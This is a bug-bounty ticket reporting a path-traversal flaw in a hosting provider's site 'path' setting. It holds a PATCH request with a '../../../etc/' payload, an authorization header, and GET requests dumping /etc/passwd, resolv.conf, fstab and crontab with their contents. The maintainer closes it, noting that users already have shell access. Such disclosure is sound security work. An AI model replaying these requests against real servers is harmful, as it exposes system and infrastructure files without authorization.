- Status Closed
-
Assigned To
cbay - Private
Opened by subhash - 12.07.2026
Last edited by cbay - 13.07.2026
FS#392 - Path Traversal in Site `path` Field Allows Reading Arbitrary Server Files
## Summary
The `path` field on the site configuration (admin panel and API) accepts directory traversal sequences (`../`) without validation. By setting `path` to `../../../etc/`, Apache serves the server's `/etc/` directory as the site's document root. I read `/etc/passwd`, `/etc/hostname`, `/etc/resolv.conf`, `/etc/fstab`, `/etc/os-release`, `/etc/crontab`, and `/etc/mysql/my.cnf` — exposing system users, internal DNS infrastructure, storage architecture, and database configuration.
This is completely independent from the `vhost_additional_directives` issue ( FS#347 ). Different field, different root cause, different fix.
## Severity
High (CVSS 8.6 — AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N)
## Environment
Detail Value
——– ——-
Account subhash (ID 486630)
Site subhash.alwaysdata.net (ID 1058919)
Server http21 (Debian 12, shared hosting)
## Steps to Reproduce
### Step 1 — Set the site path to a traversal sequence
Navigate to `https://admin.alwaysdata.com/site/1058919/` and change the "Root directory" field from `www/` to `../../../etc/`, then save. Alternatively via API:
```http
PATCH /v1/site/1058919/ HTTP/1.1
Host: api.alwaysdata.com
Authorization: Basic NTE0ODplM2U5ZDA3ZDExY2Q0MjMxOTI5ZWMyZGJlZDk0Y2EwYw==
Content-Type: application/json
{
"path": "../../../etc/"
}
```
Response: `204 No Content` — accepted without validation.
### Step 2 — Read /etc/passwd (system users)
After ~10 seconds (Apache vhost reload):
```http
GET /passwd HTTP/1.1
Host: subhash.alwaysdata.net
```
Response:
```
HTTP/1.1 200 OK
Content-Length: 1764
Server: Apache
Via: 1.1 alproxy
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
_dnsdist:x:106:113::/nonexistent:/usr/sbin/nologin
sshd:x:107:65534::/run/sshd:/usr/sbin/nologin
munin:x:111:117:munin application user,,,:/var/lib/munin:/usr/sbin/nologin
[…34 lines total]
```
Impact: Reveals all 34 system service accounts, confirms dnsdist DNS proxy, munin monitoring, and no customer home directories in `/etc/passwd` (users managed via LDAP/NSS).
### Step 3 — Read /etc/hostname (internal hostname)
```http
GET /hostname HTTP/1.1
Host: subhash.alwaysdata.net
```
Response:
```
http21
```
Impact: Reveals internal server hostname `http21` — useful for targeting specific infrastructure.
### Step 4 — Read /etc/resolv.conf (internal DNS infrastructure)
```http
GET /resolv.conf HTTP/1.1
Host: subhash.alwaysdata.net
```
Response:
```
search paris1.alwaysdata.com alwaysdata.com alwaysdata.net
# Although we have multiple fail-over DNS servers (using dnsdist),
# in case everything fails, it's better to return a DNS error
# (rather) quickly than to try again for a long time.
options timeout:2
options attempts:1
# dnsdist
nameserver ::1
# In case dnsdist is not running, provide default DNS servers.
# Only 2 servers, to avoid taking too long to timeout if everything
# is down.
# Pick one internal server, and one external, in case our internal
# server is down.
nameserver 2a00:b6e0:1:14:1::1
nameserver 8.8.4.4
```
Impact: Exposes:
- Internal domain: `paris1.alwaysdata.com` (datacenter location naming)
- Internal DNS server: `2a00:b6e0:1:14:1::1` (IPv6)
- DNS architecture: dnsdist with failover strategy
- Infrastructure comments revealing operational decision-making
### Step 5 — Read /etc/fstab (storage architecture)
```http
GET /fstab HTTP/1.1
Host: subhash.alwaysdata.net
```
Response:
```
LABEL=root / ext4 noatime,errors=remount-ro 0 0
LABEL=usr /usr ext4 noatime,nodev 0 0
LABEL=var /var ext4 noatime,nodev,nosuid 0 0
LABEL=data /home xfs noatime,nodev,nosuid,inode64,grpquota,_netdev,x-systemd.device-timeout=infinity 0 0
proc /proc proc hidepid=2,gid=4 0 0
```
Impact: Exposes:
- `/home` is XFS on network-attached storage (`_netdev`) — NAS/SAN architecture
- Group quotas enabled (`grpquota`) — quota enforcement mechanism
- `hidepid=2` on `/proc` — security hardening measure (but bypassed by this LFI)
- Separate partitions for `/`, `/usr`, `/var` with `nosuid`/`nodev` hardening
### Step 6 — Read /etc/os-release (OS identification)
```http
GET /os-release HTTP/1.1
Host: subhash.alwaysdata.net
```
Response:
```
PRETTY_NAME="Debian GNU/Linux 12 (bookworm)"
NAME="Debian GNU/Linux"
VERSION_ID="12"
VERSION="12 (bookworm)"
VERSION_CODENAME=bookworm
ID=debian
```
### Step 7 — Read /etc/mysql/my.cnf (database configuration)
```http
GET /mysql/my.cnf HTTP/1.1
Host: subhash.alwaysdata.net
```
Response:
```
[client-server]
# port = 3306
socket = /run/mysqld/mysqld.sock
!includedir /etc/mysql/conf.d/
!includedir /etc/mysql/mariadb.conf.d/
```
Impact: Confirms MariaDB installation, socket path `/run/mysqld/mysqld.sock`, and config directory structure.
### Step 8 — Read /etc/crontab (scheduled system tasks)
```http
GET /crontab HTTP/1.1
Host: subhash.alwaysdata.net
```
Response:
```
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
17 * * * * root cd / && run-parts –report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || { cd / && run-parts –report /etc/cron.daily; }
47 6 * * 7 root test -x /usr/sbin/anacron || { cd / && run-parts –report /etc/cron.weekly; }
52 6 1 * * root test -x /usr/sbin/anacron || { cd / && run-parts –report /etc/cron.monthly; }
```
### Step 9 — Files that returned 403 (correctly restricted)
File Response Notes
—— ———- ——-
`/etc/shadow` 403 Forbidden Password hashes — not readable by `www-data`
`/etc/ssh/sshd_config` 403 Forbidden SSH config — restricted
`/var/log/dpkg.log` 403 Forbidden Package install log — restricted
### Step 10 — Restore the path
Path immediately restored to `www/` after evidence gathering.
## Summary of Exposed Data
File Data Exposed Severity Impact
—— ————- —————-
`/etc/passwd` 34 system accounts, service architecture Infrastructure mapping
`/etc/hostname` Internal hostname `http21` Server identification
`/etc/resolv.conf` Internal DNS `2a00:b6e0:1:14:1::1`, domain `paris1.alwaysdata.com`, dnsdist architecture Network infrastructure
`/etc/fstab` NAS-mounted `/home` (XFS), partition layout, security hardening (`hidepid=2`) Storage architecture
`/etc/os-release` Debian 12 bookworm OS fingerprint
`/etc/mysql/my.cnf` MariaDB socket, config dirs Database infrastructure
`/etc/crontab` System cron schedule, PATH Scheduled task mapping
## Root Cause
The `path` field is concatenated with the account's home directory to form the Apache `DocumentRoot`. When the user provides `../../../etc/`, the resulting DocumentRoot becomes `/home/subhash/../../../etc/` which resolves to `/etc/`.
The backend does not:
- Normalize the path (resolve `..` sequences)
- Reject paths containing `..`
- Verify the resulting absolute path stays within `/home/{account}/`
- Reject absolute paths (`"path": "/etc/"` was also accepted)
## Why This Is a Separate Bug from FS#347
Aspect FS#347 (vhost_additional_directives) This bug (path field)
——– ————————————– ———————-
API field `vhost_additional_directives` `path`
Mechanism Apache `Alias` directive injection Document root traversal
Fix scope Directive validation/allowlist Path normalization
Independence Fixing `path` does not fix FS#347 Fixing directives does not fix this
Complexity Requires Apache directive syntax knowledge Single field change — `../../../etc/`
## Impact
An authenticated user can read any file accessible to `www-data` on the shared hosting server by traversing the `path` field. The demonstrated reads expose:
1. Core platform architecture — internal DNS infrastructure, storage topology (NAS-mounted `/home`), partition layout, security hardening measures
2. Service inventory — dnsdist, munin, MariaDB, OpenSSH versions and configurations
3. Internal network — datacenter domain (`paris1.alwaysdata.com`), internal IPv6 DNS server address
4. Database config — MariaDB socket paths and configuration directory structure
This maps directly to the bounty program's High tier: "Accessing customer data/information."
## Suggested Fix
1. Reject `..` in the path: Any path containing `..` (or URL-encoded `%2e%2e`) should be rejected
2. Reject absolute paths: Paths starting with `/` should be rejected
3. Normalize and verify: After normalizing, verify the resulting absolute path starts with `/home/{account}/`
4. Use `realpath()` on the server side: Resolve the path and confirm it stays within the account boundary
Thanks
Loading...
Available keyboard shortcuts
- Alt + ⇧ Shift + l Login Dialog / Logout
- Alt + ⇧ Shift + a Add new task
- Alt + ⇧ Shift + m My searches
- Alt + ⇧ Shift + t focus taskid search
Tasklist
- o open selected task
- j move cursor down
- k move cursor up
Task Details
- n Next task
- p Previous task
- Alt + ⇧ Shift + e ↵ Enter Edit this task
- Alt + ⇧ Shift + w watch task
- Alt + ⇧ Shift + y Close Task
Task Editing
- Alt + ⇧ Shift + s save task
Hello,
All users have a full SSH access anyway, there's no need to do anything special to read public files.
Kind regards,
Cyril